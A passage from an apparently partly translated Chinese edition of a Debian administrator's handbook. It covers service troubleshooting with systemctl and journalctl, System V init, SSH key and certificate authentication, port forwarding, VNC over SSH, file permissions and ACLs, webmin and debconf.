Mar 31 10:09:32 mirtuel sshd[1151]: Accepted password for roland from 192.168.1.129 port 53394 ssh2

Mar 31 10:09:32 mirtuel sshd[1151]: pam_unix(sshd:session): session opened for user roland by (uid=0)

另一个有用的命令行标志是 -f，用于指示 journalctl 继续显示添加的消息 (大部分是在 tail -f file 之内)。

若服务状况不如预期，第一个步骤是以 systemctl status 检查该服务是否真的已启动；若没有，则第一个命令给的消息就不足以诊断问题之所在，检查 journald 产生的日志档。例如，假设 SSH 服务器未启动时：

# systemctl status ssh.service

● ssh.service - OpenBSD Secure Shell server

Loaded: loaded (/lib/systemd/system/ssh.service; enabled)

Active: failed (Result: start-limit) since Tue 2015-03-31 17:30:36 CEST; 1s ago

Process: 1023 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS)

Process: 1188 ExecStart=/usr/sbin/sshd -D $SSHD_OPTS (code=exited, status=255)

Main PID: 1188 (code=exited, status=255)

Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a

Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.

Mar 31 17:30:36 mirtuel systemd[1]: ssh.service start request repeated too quickly, refusing to start.

Mar 31 17:30:36 mirtuel systemd[1]: Failed to start OpenBSD Secure Shell server.

Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.

# journalctl -u ssh.service

-- Logs begin at Tue 2015-03-31 17:29:27 CEST, end at Tue 2015-03-31 17:30:36 CEST. --

Mar 31 17:29:27 mirtuel sshd[424]: Server listening on 0.0.0.0 port 22.

Mar 31 17:29:27 mirtuel sshd[424]: Server listening on :: port 22.

Mar 31 17:29:29 mirtuel sshd[424]: Received SIGHUP; restarting.

Mar 31 17:29:29 mirtuel sshd[424]: Server listening on 0.0.0.0 port 22.

Mar 31 17:29:29 mirtuel sshd[424]: Server listening on :: port 22.

Mar 31 17:30:10 mirtuel sshd[1147]: Accepted password for roland from 192.168.1.129 port 38742 ssh2

Mar 31 17:30:10 mirtuel sshd[1147]: pam_unix(sshd:session): session opened for user roland by (uid=0)

Mar 31 17:30:35 mirtuel sshd[1180]: /etc/ssh/sshd_config line 28: unsupported option "yess".

Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a

Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state.

Mar 31 17:30:35 mirtuel sshd[1182]: /etc/ssh/sshd_config line 28: unsupported option "yess".

Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a

Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state.

Mar 31 17:30:35 mirtuel sshd[1184]: /etc/ssh/sshd_config line 28: unsupported option "yess".

Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a

Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state.

Mar 31 17:30:36 mirtuel sshd[1186]: /etc/ssh/sshd_config line 28: unsupported option "yess".

Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a

Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.

Mar 31 17:30:36 mirtuel sshd[1188]: /etc/ssh/sshd_config line 28: unsupported option "yess".

Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a

Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.

Mar 31 17:30:36 mirtuel systemd[1]: ssh.service start request repeated too quickly, refusing to start.

Mar 31 17:30:36 mirtuel systemd[1]: Failed to start OpenBSD Secure Shell server.

Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.

# vi /etc/ssh/sshd_config

# systemctl start ssh.service

# systemctl status ssh.service

● ssh.service - OpenBSD Secure Shell server

Loaded: loaded (/lib/systemd/system/ssh.service; enabled)

Active: active (running) since Tue 2015-03-31 17:31:09 CEST; 2s ago

Process: 1023 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS)

Main PID: 1222 (sshd)

CGroup: /system.slice/ssh.service

└─1222 /usr/sbin/sshd -D

#

检查服务的状态 (失败) 后，再检查日志档；它们会指出配置的错误。编辑配置档并修正错误后，重启服务，确认运行中。

下一步 其他类型的单元档

本节只描述 systemd 最基本的功能。其他的功能只能在此列出若干：

- socket activation: a “socket” unit file can be used to describe a network or Unix socket managed by systemd; this means that the socket will be created by systemd, and the actual service may be started on demand when an actual connection attempt comes. This roughly replicates the feature set of inetd. See systemd.socket(5).

- timers: a “timer” unit file describes events that occur with a fixed frequency or on specific times; when a service is linked to such a timer, the corresponding task will be executed whenever the timer fires. This allows replicating part of the cron features. See systemd.timer(5).

- network: a “network“ unit file describes a network interface, which allows configuring such interfaces as well as expressing that a service depends on one particular interface being up. See systemd.network(5).

9.1.2. System V 初始系统

The System V init system (which we'll call init for brevity) executes several processes, following instructions from the /etc/inittab file. The first program that is executed (which corresponds to the sysinit step) is /etc/init.d/rcS, a script that executes all of the programs in the /etc/rcS.d/ directory.

其中，你会发现相继的程序会负责：

- 配置控制台键盘;

- 加载驱动：当探测到硬件，大部分内核模块通过内核自身加载；然后，自动加载 /etc/modules 中列出的模块;

- 检查文件系统的完整性;

- 挂载本地分区;

- 配置网络;

- 挂载网络文件系统（NFS）。

基础知识 内核模块和选项

You have already learned that kernel modules can be loaded during the start of the system by adding them to /etc/modules or a file below /etc/modules-load.d/. But modules can also have options that can be configured by putting some files in /etc/modprobe.d/. These options are defined with directives like this: options module-name option-name=option-value. Several options can be specified with a single directive if necessary.

These configuration files are intended for modprobe — the program that loads a kernel module with its dependencies (modules can indeed call other modules). To list all options of a module use the modinfo -p module command. Both programs are provided by the kmod package together with other tools to handle modules.

Having learned about systemd, services and targets can use the modprobe@module.service to load kernel modules they depend on.

到了这个地步，init 接手并启动运行阶段缺省的程序 (通常是运行阶段 2)。它运行 /etc/init.d/rc 2，一个启动列在 /etc/rc2.d/ 之内的所有服务并命名为 “S” 字母开头。接着的两位数，曾经作为服务启动的顺序，不过现在的缺省启动系统使用 insserv，根据脚本的相依性自动决定其先后顺序。每个启动脚本声明的情况必须符合启动或停止服务 (例如，必须在另个服务之前或之后启动)；init 再依此情况启动它们。不再考虑静态的脚本编号 (但仍需按相依性使用 “S” 及两个数字与实际的脚本名称)。通常，基本的服务 (诸如以 rsyslog 日志，或以 portmap 指定端口口) 先列出来，然后才是标准服务与图形接口 (gdm3)。

这种以依赖为基础的启动系统使自动排序成为可能，这样的排序如果要手工完成则显得冗长乏味。由于调度根据明确给出的参数进行，这样就避免了人为错误。另一个好处是，如果两个服务彼此独立，则可以并行启动，进而加速启动过程。

init分几个运行等级，它可以通过telinit new-level 命令，从一个等级切换到另一个等级。马上就会在新等级下重新执行init executes /etc/init.d/rc。这个脚本会启动漏掉的服务并中止不再需要的服务。为了做到这一点，它读取/etc/rcX.d 文件的内容（此处 X 代表新的运行等级）。以“S"（Start的首字母）开头的服务脚本要启动；以“K"（Kill的首字母）开头的服务要停止。脚本不会启动在之前运行等级已经生效的服务。

默认情况下，Debian 的 System V init 使用四个不同的运行阶层：

- 等级０仅作电脑关机时的临时应用。这样，它只包含多个“K”脚本。

- 等级１，也被称为单用户模式，对应于降级的系统模式；它仅包含基本服务，用于维护，此时不需要与一般用户交互。

- 等级２用于正常运行，包含网络服务，图形界面，用户登录，等等。

- 等级６和等级０类似，不同在于它用于系统重启之前的关机。

也存在其他等级，从３到５。默认情况，他们配置为和等级２相同，但是管理员可以修改（通过添加和删除对应/etc/rcX.d目录下的脚本）它们来适应不同的需求。

图 9.2. 以 System V init 运行 Linux 的启动进程

All the scripts contained in the various /etc/rcX.d directories are really only symbolic links — created upon package installation by the update-rc.d program — pointing to the actual scripts which are stored in /etc/init.d/. The administrator can fine tune the services available in each runlevel by re-running update-rc.d with adjusted parameters. The update-rc.d(1) manual page describes the syntax in detail. Please note that removing all symbolic links (with the remove parameter) is not a good method to disable a service. Instead you should simply configure it to not start in the desired runlevel (while preserving the corresponding calls to stop it in the event that the service runs in the previous runlevel). Since update-rc.d has a somewhat convoluted interface, you may prefer using rcconf (from the rcconf package) which provides a more user-friendly interface.

DEBIAN 策略 重启服务

Debian 软件包的维护脚本将不时重新启动特定服务以确保其有效性或取得特定的选项。控制服务的命令 — service service operation — 未考量运行层级，假设服务 (错误地) 使用，且可能启动错误的作业 (启动应该停止的服务，或停止已经停止的服务等)。因此，Debian 有个 invoke-rc.d 程序：必须由维护脚本启动，运行服务的初启脚本且只运行必要的命令。注意，不同于常见的用法，在程序名之前使用 .d 前置，且不能在文件夹内。

最后，init启动各种虚拟控制台的控制程序（getty）。显示提示符，等待输入用户名，然后执行login user发起会话。

词汇 控制台和终端

早期的计算机通常被分成几个部分：存储和中央处理单元与外围操作的控制设备相分离。这些部件是单独的装置，即“控制台”。该术语被保留下来，但是其意义改变了。或多或少它已经和“终端”同义，代表键盘和屏幕。

随着计算机的发展，操作系统提供了许多虚拟终端，从而允许同时存在几个独立的会话，即使是只有一套键盘和屏幕。大部分 GNU/Linux 系统提供六个虚拟终端（在文本模式），通过组合键 Control+Alt+F1 到 Control+Alt+F6 开启。

By extension, the terms “console” and “terminal” can also refer to a terminal emulator in a graphical session (such as xterm, gnome-terminal or konsole).

9.2. 远程登录

对于管理员来说有必要远程连接电脑。位于单独房间的服务器，很少配置固定的键盘和显示器－但是他们都会连接到网络。

基础知识 客户端，服务器

拥有多个相互通信进程的系统常常称为“客户端/服务器”。服务器是获取客户请求并执行的程序。由客户端来控制操作，服务器自身不会发起任何行动。

9.2.1. 安全远程登录：SSH

SSH (Secure SHell) 通信协议以安全与可靠为首要考量。以 SSH 连接是安全的：伙伴需认证且数据交换经过加密。

文化 已过时的 Telnet 与 RSH

SSH 问世前，Telnet 与 RSH 是远程登录的主要工具。目前已过时，即使 Debian 仍提供此命令，但已没有人使用它们。

词汇 授权，加密

When you need to give a client the ability to conduct or trigger actions on a server, security is important. You must ensure the identity of the client; this is authentication. This identity usually consists of a password or passphrase that must be kept secret, or any other client could it. This is the purpose of encryption, which is a form of encoding that allows two systems to communicate confidential information on a public channel while protecting it from being readable to others.

授权和加密经常被同时提及，而且也频频同时使用，因为他们通常使用相似的数学算法概念实现。

SSH 还涉及两个文件传输服务。 scp 是一个可以像cp命令一样使用的命令行工具，除了指向其他机器的路径需要加机器名冒号前缀。

$ scp file machine:/tmp/

sftp 是一个交互命令，类似于 ftp。在一个单独会话中， sftp 可以传输多个文件，并且可以远程操作文件（删除，重命名，更改许可，等等）。

Debian 使用 OpenSSH，一个由 OpenBSD 项目（注重安全，基于 BSD 内核的自由操作系统）维护的自由版本，它效仿了芬兰 SSH Communications Security Corp 公司开发的原始 SSH 软件。该公司最初将 SSH 作为自由软件开发，但是最终决定在专有许可下继续开发。然后，OpenBSD 项目创建了 OpenSSH 维护 SSH 的自由版本。

基础知识 分支（Fork）

一个“分支”，在软件领域，意味着克隆已有项目的新项目，并将与之竞争。从此，两个软件通常会迅速发散开发。分支通常由开发团队内部的分歧产生。

项目分支也是自由软件本身特性产生的结果；如果能使自由软件继续发展，那么分支也是一种好事（例如万一软件许可证变化）。源自技术或者个人意见不统一的分支常常是浪费资源；推荐其他的解决方案。之前分支的项目再次合并也不是未曾听说。

OpenSSH is split into two packages: the client part is in the openssh-client package, and the server is in the openssh-server package. The ssh meta-package depends on both parts and facilitates installation of both (apt install ssh), while the task-ssh-server, often chosen during the initial installation, depends on the server package only.

9.2.1.1. 基于密钥的认证

每次有人通过 SSH 登入，远程服务器询问密码来授权用户。如果想要自动连接或者使用需要频繁通过 SSH 连接的工具，这就会产生问题。这就是为什么 SSH 提供一种基于密钥的认证系统。

The user generates a key pair on the client machine with ssh-keygen -t rsa; the so generated public key is stored in ~/.ssh/id_rsa.pub, while the corresponding private key is stored in ~/.ssh/id_rsa. The user can then use ssh-copy-id server to add their public key to the ~/.ssh/authorized_keys file on the server, or, if SSH access hasn't been enabled yet, they have to ask the administrator to add their key manually.

If the private key was not protected with a “passphrase” at the time of its creation, all subsequent logins on the server will work without a password. Otherwise, the private key must be decrypted each time by entering the passphrase. Fortunately, ssh-agent allows us to keep private keys in memory to not have to regularly re-enter the password. For this, you simply use ssh-add (once per work session) provided that the session is already associated with a functional instance of ssh-agent. Debian activates it by default in graphical sessions, but this can be deactivated by changing /etc/X11/Xsession.options and commenting out use-ssh-agent. For a console session, you can manually start the agent with eval $(ssh-agent).

安全 保护私有密钥

任何拥有私有密钥的人都可以登录已经配置的账户。这是私有密钥要使用“口令密码”保护的原因。某些获得了私有密钥文件（例如 ~/.ssh/id_rsa）副本的人，要使用这个文件仍然需要密码。然而，这种额外的保护措施并不是万全的，如果觉得文件被破解，最好在所安装的计算机上禁用该密钥（通过从文件 authorized_keys 移除）并使用新生成的密钥取代它。

文化 OpenSSL 在 Debian Etch上的缺陷

OpenSSL 程序库，首先由 Debian Etch 提供，在其随机数值产生器 (random number generator, RNG) 里有重大缺陷。所以，Debian 维护者修改它，使用 valgrind 之类的内存测试工具时，不再产生警示消息。不幸的是，此种改变让 RNG 套用一个熵值对应 32,000 个可能的处理编号 (PID)，不足以称为乱数。

→ https://www.debian.org/security/2008/dsa-1571

特别是当OpenSSL 用于产生密钥，它总是生成一个在已知几百万值集合范围内的密钥（32000乘上密钥长度中的小数字）。这会影响SSH 密钥，SSL 密钥，和X.509认证，他们被大量程序使用，例如OpenVPN。骇客只需尝试所有的密钥来取得未授权的读取。为了减小问题的影响，SSH 守护进程会拒绝使用 openssh-blacklist 和 openssh-blacklist-extra 软件包中列出的有问题密钥。另外， ssh-vulnkey 命令允许在系统中使用某些折中密钥。

进一步分析这个事件，发现影响多个 (小) 问题，包括 OpenSSL 计划内与 Debian 软件包维护者。像 OpenSSL 这种被广泛使用程序库，被 valgrind 测试时，应该 — 未经修改 — 不能产生警示。尤有甚者，其代码 (尤其是像 RNG 这么敏感的部分) 应该有更好的说明以避免这种错误。从 Debian 的角度来看，维护者要向 OpenSSL 开发者认证其修改的部分，但单纯的解说修改而未提供对应的补丁供查看，以致 Debian 发生前述的错误。最后，维护者的选择是次要的原因：源代码的修改没有清楚的文档；所有的修改都保存在Subversion仓库内，但是把所有的修改总结在一个补丁内纳入原始软件包中。

在这种情况下，很难找出正确的方法以避免再发生此类事件。从此得到的教训，让每个发布的 Debian 必须尽可能的大量公开，经过调整过、文档充足后，才能上传软件。经过此事后，发展出新的原始软件包格式 (“3.0 (quilt)”) 与 Debian 原始网页服务。

→ https://sources.debian.org

9.2.1.2. Cert-Based Authentication

SSH keys cannot just be protected by a password (or not). An often unknown feature is that they can also be signed via certificate, both the host as well as the client keys. This approach comes with several advantages. Instead of maintaining an authorized_keys file per user as described in the previous section, the SSH server can be configured to trust all client keys signed by the same certificate (see also 第 10.2.2 节 “公钥基础设施：easy-rsa”) by using the TrustedUserCAKeys and HostCertificate directives in /etc/ssh/sshd_config.

TrustedUserCAKeys /etc/ssh/ssh_users_ca.pub

HostKey /etc/ssh/ssh_host_ecdsa_key

HostCertificate /etc/ssh/ssh_host_ecdsa_key-cert.pub

Vice-versa the clients can also be configured to trust the host key signed by the same authority, making it easier to maintain the known_hosts file (even system wide via /etc/ssh/known_hosts).

@cert-authority *.falcot.com ssh-rsa AAAA[..]

Both, public key and certificate authentication, can be used alongside each other.

9.2.1.3. 使用远程 X11 应用程序

SSH 协议允许转发图形数据（“X11”会话，源于最广泛传播Unix图形系统的名字）；然后，服务器为这些数据保留固定通道。特别地，远程执行的图形程序可以在本地系统X.org服务器屏幕上显示，并且整个会话（输入和显示）都是安全的。由于该特性允许远程应用与本地系统交互，因此默认是关闭的。您可以指明X11Forwarding yes参数，将其写入服务器配置文件（/etc/ssh/sshd_config）以启用该功能。最后，用户必须通过添加 -X 选项到 ssh 命令行中以提出功能请求。

GOING FURTHER Magic cookies in .Xauthority

When a user connects via SSH and starts a remote X11 session, a so-called magic cookie is created and stored in the .Xauthority file in the user's home directory that initiated the connection. This cookie is used by xauth to authenticate the user during the X session. If the user impersonates another user on the system, e.g. using su or sudo, then the cookie is not copied automatically to the target user and the X server will refuse to start graphical applications under the target user's context. You will have to copy the magic cookie into the target user's home directory (by exporting and re-importing the cookie via xauth) to allow another user to start graphical programs as well during the X session.

9.2.1.4. 通过端口转发建立加密通道

-R 和 -L 选项允许 ssh 在两个机器间添加 “加密隧道”，把本地 TCP 端口 (见专栏 基本 TCP/UDP) 映射至远程机器或反之。

词汇 隧道

大多数局域网通过数据包模式而不是连接模式接入互联网，意味着：由一个计算机发送到另一个计算机的数据包要找到目的地会在几个中继路由之间停顿。仍然可以通过数据流IP数据包封装模拟连接操作。这些数据包流过路由，但是数据流在目的地不加改变重新构造。我们称之为“隧道”，类比为机动车从入口（输入）直接开向出口（输出）的公路通道，期间不会碰到任何交汇，与在表面可能交叉和变向的路径相对。

可以利用这个机会给隧道加密：流过的数据在外面不能被辨认，但是在隧道的出口解密恢复。

运行ssh -L 8000:server:25 intermediary 命令，将会建立同服务器主机intermediary 的SSH 会话，并侦听本地端口8000（参考 图 9.3 “使用SSH转发本地端口”）。对于任何建立在该端口的连接， ssh 将会发起从电脑intermediary 到 server 端口25 的连接，并将两个连接绑定。

命令ssh -R 8000:server:25 intermediary也会建立电脑 intermediary 的SSH 会话，但是在本机 ssh 侦听端口8000 （参考 图 9.4 “使用SSH转发远程端口”）。在该端口建立的连接将ssh 打开本机到 server25 端口的连接，并将两个连接绑定。

两种情况下，连接建立在server 主机的25 端口，它会透过SSH 隧道建立本地机器和中介机器的连接。在前一种情况下，到该隧道的入口是本地端口8000，数据通过 intermediary 定向到公共网络的server。在第二种情况下，隧道输入输出被保留；入口是 intermediary 的8000 端口，输出在本地主机，然后数据被定向到 server。实际上，服务器不是本地机器就是中介机器。这样SSH 保护了一端到另一端的连接。

图 9.3. 使用SSH转发本地端口

图 9.4. 使用SSH转发远程端口

9.2.2. 使用远程图形桌面

VNC （Virtual Network Computing）允许远程接入图形桌面。

该工具主要用于技术支持；管理员可以看到用户面临的错误，并演示正确的操作而不必待在他们旁边。

First, the user must authorize sharing their session. The GNOME graphical desktop environment includes that option via Settings → Sharing (contrary to previous versions of Debian, where the user had to install and run vino). For this to work network-manager must be managing the network used (e.g. enable the managed mode for devices handled by ifupdown in /etc/NetworkManager/NetworkManager.conf). KDE Plasma still requires using krfb to allow sharing an existing session over VNC. For other graphical desktop environments, the x11vnc or tightvncserver commands (from the Debian packages of the same name) or tigervncserver (tigervnc-standalone-server) serve the same purpose and provide the vnc-server virtual package; you can make either of them available to the user with an explicit menu or desktop entry.

When the graphical session is made available by VNC, the administrator must connect to it with a VNC client. GNOME has vinagre and remmina for that, while the KDE project provides krdc (in the menu at K → Internet → Remote Desktop Client). There are other VNC clients that use the command line, such as xtightvncviewer from the homonym package or xtigervncviewer from the tigervnc-viewer Debian package. Once connected, the administrator can see what is going on, work on the machine remotely, and show the user how to proceed.

安全 通过SSH使用VNC

想要经由 VNC 链接，但不想在网络传输明文数据，可以把数据打包在 SSH 信道内 (见 第 9.2.1.4 节 “通过端口转发建立加密通道”)。只需知道 VNC 缺省在第一个屏幕使用端口号 5900 (称为 “localhost:0”)，端口号 5901 用在第二个端口号 (称为 “localhost:1”)，等等。

ssh -L localhost:5901:localhost:5900 -N -T machine命令创建本地端口5901 和 machine 5900 端口的隧道。第一个“localhost”要求SSH 仅侦听本地机器接口。第二个“localhost”指示远程机器上的接口接收进入“localhost:5901”的网络数据。因此， vncviewer localhost:1 会把VNC 客户连到远程屏幕。

当VNC 会话关闭时，记得退出相应的SSH 会话来关闭隧道。

基础知识 显示管理器

gdm3, kdm, lightdm, and xdm are Display Managers (they all provide the x-display-manager meta package). They take control of the graphical interface shortly after boot in order to provide the user a login screen. Once the user has logged in, they execute the programs needed to start a graphical work session.

9.3. 管理权限

Linux 是一个典型的多用户系统，这就有必要提供许可制度来控制对文件和目录的操作，其中包含了所有的系统资源和设备（在Unix 系统中，任何设备都由文件或目录来表示）。这一原则对所有Unix 系统通用，这里再提醒一下，特别是对一些有趣的相对高级应用。

9.3.1. Owners and Permissions

每个文件和文件夹有三种用户许可类型：

- 所有者 （使用符号 u “user”首字母）;

- 所有者群组（使用符号 g “group”首字母），代表组中的所有成员;

- 其他（使用符号 o “other”的首字母）。

Three basic types of rights can be combined:

- 读取（使用符号 r “read”的首字母）;

- 写（使用符号 w “write”的首字母）;

- 执行（使用“eXecute”中的符号 x ）。

以文件来说，其权限较容易理解：读取就是允许读取其内容 (包括复制)、写入就是允许改变它、而运行就是执行它 (文件本身必须是程序)。

安全 可执行文件的 setuid 和 setgid

Two particular rights are relevant to executable files: setuid and setgid (symbolized with the letter “s”). Note that we frequently speak of “bit”, since each of these Boolean values can be represented by a 0 or a 1. These two rights allow any user to execute the program with the rights of its owner or its group, respectively. This mechanism grants access to features requiring higher level permissions than those you would usually have.

由于 setuid root程序在系统层以超级用户的身份运行，有必要确定其安全性和可靠性。实际上，如果用户可以侵入该程序并调用自己设定的命令，就有可能伪装成超级用户并获取系统的所有权限。

If you require running a program under a different user or if a program requires higher permissions, the sudo, su, or runuser commands are usually better choices than using these bits (see 第 8.9.4 节 “共享管理员权限”).

文件夹的处理方式略有不同。读取其条目 (文件及文件夹)、写入包括添加与删除文件、而运行则是进入它 (尤其是使用 cd 命令)。进入文件夹而不必有读取权限，运行已知的文件名，若不知其正确的名称，则无法运行。

安全 文件夹的 setgid 和 sticky bit

setgid 位也适用于目录。在这种目录中新创建的条目会被自动赋予其父目录的所有组，而不是通常情况下那样继承创建者的主用户组。这种设置可以避免几个同组用户在共享文件树中协同工作时（为保持所创建文件的所有组的一致性）而不得不改变自身主用户组的额外工作（使用 newgrp 命令）。

“sticky”位（使用符号“t”）是仅用于目录的许可位。专门用于所有人都有写权限的临时目录（例如 /tmp/）：它严格限制删除操作，只有所有者（或者父目录的所有者）可以删除。少了它，所有人都能删除其他用户在 /tmp/中的文件。

有三个控制文件许可权限的命令：

- chown user file 命令更改文件的所有者;

- chgrp group file 改变所有群组;

- chmod rights file 改变文件许可权限。

有两种方法表示权限。其中，符号表示是最易于理解和记忆的。它使用前述的符号链接。可以通过显示的设置（u/g/o），通过设置（=），加（+），或者减（-）定义每种用户的权限类型。一个 u=rwx,g+rw,o-r 格式的命令会赋予所有者读，写和执行权限，给所有组添加读写权限，移除其他用户的读权限。其他命令中未通过加或者减列出的权限保持不变。字母 a是指“所有”，涵盖三种类型的用户，因此 a=rx 命令会赋予三种用户相同的权限（读和执行，没有写）。

与权限相关的（八进制）数字表示：4是读，2是写，1是执行。各种权限组合通过代表的数字求和得到。通过把每个值置于端到端序列不同位置关联不同的用户类型（所有者，所有组，其他用户）。

For instance, the chmod 754 file command will set the following rights: read, write and execute for the owner (since 7 = 4 + 2 + 1); read and execute for the group (since 5 = 4 + 1); read-only for others. The 0 (zero) means no rights; thus chmod 600 file allows for read/write rights for the owner, and no rights for anyone else. The most frequent right combinations are 755 for executable files and directories, and 644 for data files.

要表示特殊权限，可以根据同样的原则在数字上加入第四个前缀位，位 setuid， setgid 和 sticky 分别对应4，2，和1。chmod 4754 会设置前面描述的 setuid 位权限。

八进位标记只适用于对文件的一次性设置所有权限；不能以它加入新的权限，如群组拥有者的读取，因为必须把现在的权限与计算新的数值。

提示 递归操作

有时需要更改整个文件树的权限。以上所有的命令都有 -R 选项来递归操作子目录。

The distinction between directories and files sometimes causes problems with recursive operations. That is why the “X” letter has been introduced in the symbolic representation of rights. It also represents the right to execute, but it applies differently to directories and files.

For directories it adds executable permissions to the chosen user(s). For files, it adds the executable bit only if at least one of the users (owner, group, or others) already has executable permissions. Let's demonstrate it, because this bit can be confusing:

$ ls test.txt

-rw-r--r-- 1 daniel daniel 0 18. Nov 01:07 test.txt

$ chmod u+X test.txt

$ ls test.txt

-rw-r--r-- 1 daniel daniel 0 18. Nov 01:07 test.txt

$ chmod o+x test.txt

$ ls test.txt

-rw-r--r-x 1 daniel daniel 0 18. Nov 01:07 test.txt

$ chmod u+X test.txt

$ ls test.txt

-rwxr--r-x 1 daniel daniel 0 18. Nov 01:07 test.txt

The example shows a typical file with its default permissions: its owner can read and write it, the owner's group and all other users can read it. The next operation (u+X) won't add executable permissions for the owner of the file, because permissions to execute have not been assigned. The operation has no effect on the file. Next we assign execute rights for "other" users and repeat the operation. This time it is successful, because at least one user group already had executable permissions.

It is a misconception that this bit will only affect directories. If files and directories have mixed permissions, it is often a good idea to use the find command to locate the targets you want to operate on.

TIP Changing the user and group together

Frequently you want to change the group of a file at the same time that you change the owner. The chown command has a special syntax for that: chown user:group file. This syntax can also be used to recursively (-R) change the ownership of a whole directory.

进阶 umask

When an application creates a file, it assigns indicative permissions, knowing that the system automatically removes certain rights, given by the command umask. Enter umask in a shell; you will see a mask such as 0022. This is simply an octal representation of the rights to be systematically removed. In this case, the write right for the group and other users: With the above umask value, the default for directories 777 becomes 755 and the default permissions for files 666 become 644.

The system's default value is handled by pam_umask(8) and /etc/login.defs.

If you give it a new octal value, the umask command modifies the mask. Used in a shell initialization file (for example, ~/.bashrc or ~/.profile), it will effectively change the default mask for your work sessions.

9.3.2. ACLs - Access Control Lists

Many filesystems, e.g. Btrfs, Ext3, Ext4, JFS, XFS, etc., support the use of Access Control Lists (ACLs). These extend the basic features of file ownership and permission, described in the previous section, and allow for a more fine-grained control of each (file) object. For example: A user wants to share a file with another user and that user should only be able to read the file, but not write or change it.

For some of the filesystems, the usage of ACLs is enabled by default (e.g. Btrfs, Ext3, Ext4). For other filesystems or older systems it must be enabled using the acl mount option - either in the mount command directly or in /etc/fstab. In the same way the usage of ACLs can be disabled by using the noacl mount option. For Ext* filesystems one can also use the tune2fs -o [no]acl /dev/device command to enable/disable the usage of ACLs by default. The default values for each filesystem can usually be found in their homonym manual pages in section 5 (filesystem(5)) or in mount(8).

After enabling ACLs, permissions can be set using the setfacl(1) command, while getfacl(1) allows one to retrieve the ACLs for a given object or path. These commands are part of the acl package. With setfacl one can also configure newly created files or directories to inherit permissions from the parent directory. It is important to note that ACLs are processed in their order and that an earlier entry that fits the situation has precedence over later entries.

If a file has ACLs set, the output of the ls -l command will show a plus-sign after the traditional permissions. When using ACLs, the chmod command behaves slightly different, and umask might be ignored. The extensive documentation, e.g. acl(5) contains more information.

9.4. 管理员界面

在各种情况下，使用图形界面进行管理都很有趣。管理员不必了解所有服务的配置信息，不用翻阅文档。因此，用图形界面进行管理可以加速服务的部署过程。也能简化那些比较难的服务设置过程。

此类界面只是辅助，它自身并不解决问题。在各种情况下，管理员必须控制它，以便理解并处理各种潜在的问题。

界面不会完美的，总有其他的解决方案。不过，应尽量避免使用多种解决方案，因为不同的工具彼此间不见得兼容。即使宣称极有弹性且以单一模式使用配置档，不见得能够集成所有的外部改变。

9.4.1. 通过网页接口管理：webmin

毋庸置疑，这是最成功的管理界面。它是透过网络浏览器的模块化系统，覆盖了广泛的领域和工具。而且，它是国际化的并且可以在多种语言中使用。

图 9.5. Webmin 面板

Sadly, webmin is no longer part of Debian. Its Debian maintainer removed the packages created because they no longer had the time required to maintain them at an acceptable quality level. Nobody has officially taken over, so Debian does not provide the webmin package.

然而，非官方的软件包可在 webmin.com 网站找到。不同于原自于 Debian 的软件包，此软件包有点古老；即使没有安装对应的服务，仍缺省安装与启用其配置模块。

安全 更改root用户密码

On the first login, identification is conducted with the root username and its usual password (or any user's login credentials which belongs to the sudo group). It is recommended to change the password used for webmin as soon as possible, so that if it is compromised, the server's user accounts will not be involved, even if this confers important administrative rights to the machine.

Beware! Since webmin has so many features, a malicious user accessing it could compromise the security of the entire system. In general, interfaces of this kind are not recommended for important systems with strong security constraints (firewall, sensitive servers, etc.), and they are not recommended to be exposed to the public either.

Webmin 通过 web 界面访问，不需要安装 Apache 网络服务器。该软件集成了它自己的微型网络服务器。默认监听10000 端口，等待安全 HTTP 连接。

包括大量服务模块，其中包括：

- all base services: creation of users and groups, management of crontab files, service scripts/files, viewing of logs, etc.

- bind：DNS 服务配置（域名服务）;

- postfix：SMTP 服务配置（电子邮件）;

- network services: configuration of the xinetd super-server;

- disk quota: user quota management;

- dhcpd：DHCP 服务配置;

- proftpd：FTP 服务配置;

- samba：Samba 文件服务配置;

- sodtware：从Debian 安装或者移除软件报和系统更新。

管理界面可以通过在网络浏览器中输入地址 https://localhost:10000。注意！不是所有的模块都是直接可用的。有些必须通过指定相应的配置文件和可执行文件（程序）。如果未能启动请求的模块，系统往往会给出提示。

其他 GNOME 控制中心

GNOME 项目也提供右上角用户菜单 “设置” 的多管理接口。gnome-control-center 是主程序，还有其他软件包提供的配置工具 (accountsservice、system-config-printer等)。虽然使用简易，不过只包括有限的基本服务：用户管理、时间配置、网络配置、打印机配置等。

9.4.2. 用于管理配置的软件包： debconf

Many packages are automatically configured after asking a few questions during installation through the Debconf tool. These packages can be reconfigured by running dpkg-reconfigure -plevel package.

对于大多数情况，设置很简单；只改变配置文件中的几个重要变量。常常把这些变量放在两个分隔行内，重新配置只会影响其内的数据。其他情况下，如果脚本探测到手动更改了配置文件，为了保留这些人为编辑，重新配置什么也不做（因为脚本不能确定它的修改不会弄乱已有的设置）。

DEBIAN 规则 保留更改

Debian 规则明确规定应尽量保留对配置文件的手动更改，这样越来越多的脚本在编辑配置文件时会采取措施。一般原则很简单：只有在理解配置文件的状态下，脚本才会做出更改，通过对比现在的文件和上次自动产生的文件校验和就可以验证文件是否经过人为修改。如果两个校验和相同，授权脚本更改配置文件。否则，文件被改过，询问采取什么行动（安装新文件，保存旧文件，或者尝试把新更改集成到已有文件内）。这种预警原则长久以来是Debian的特性，但是现在其他的发行版也开始渐渐采取这种做法。

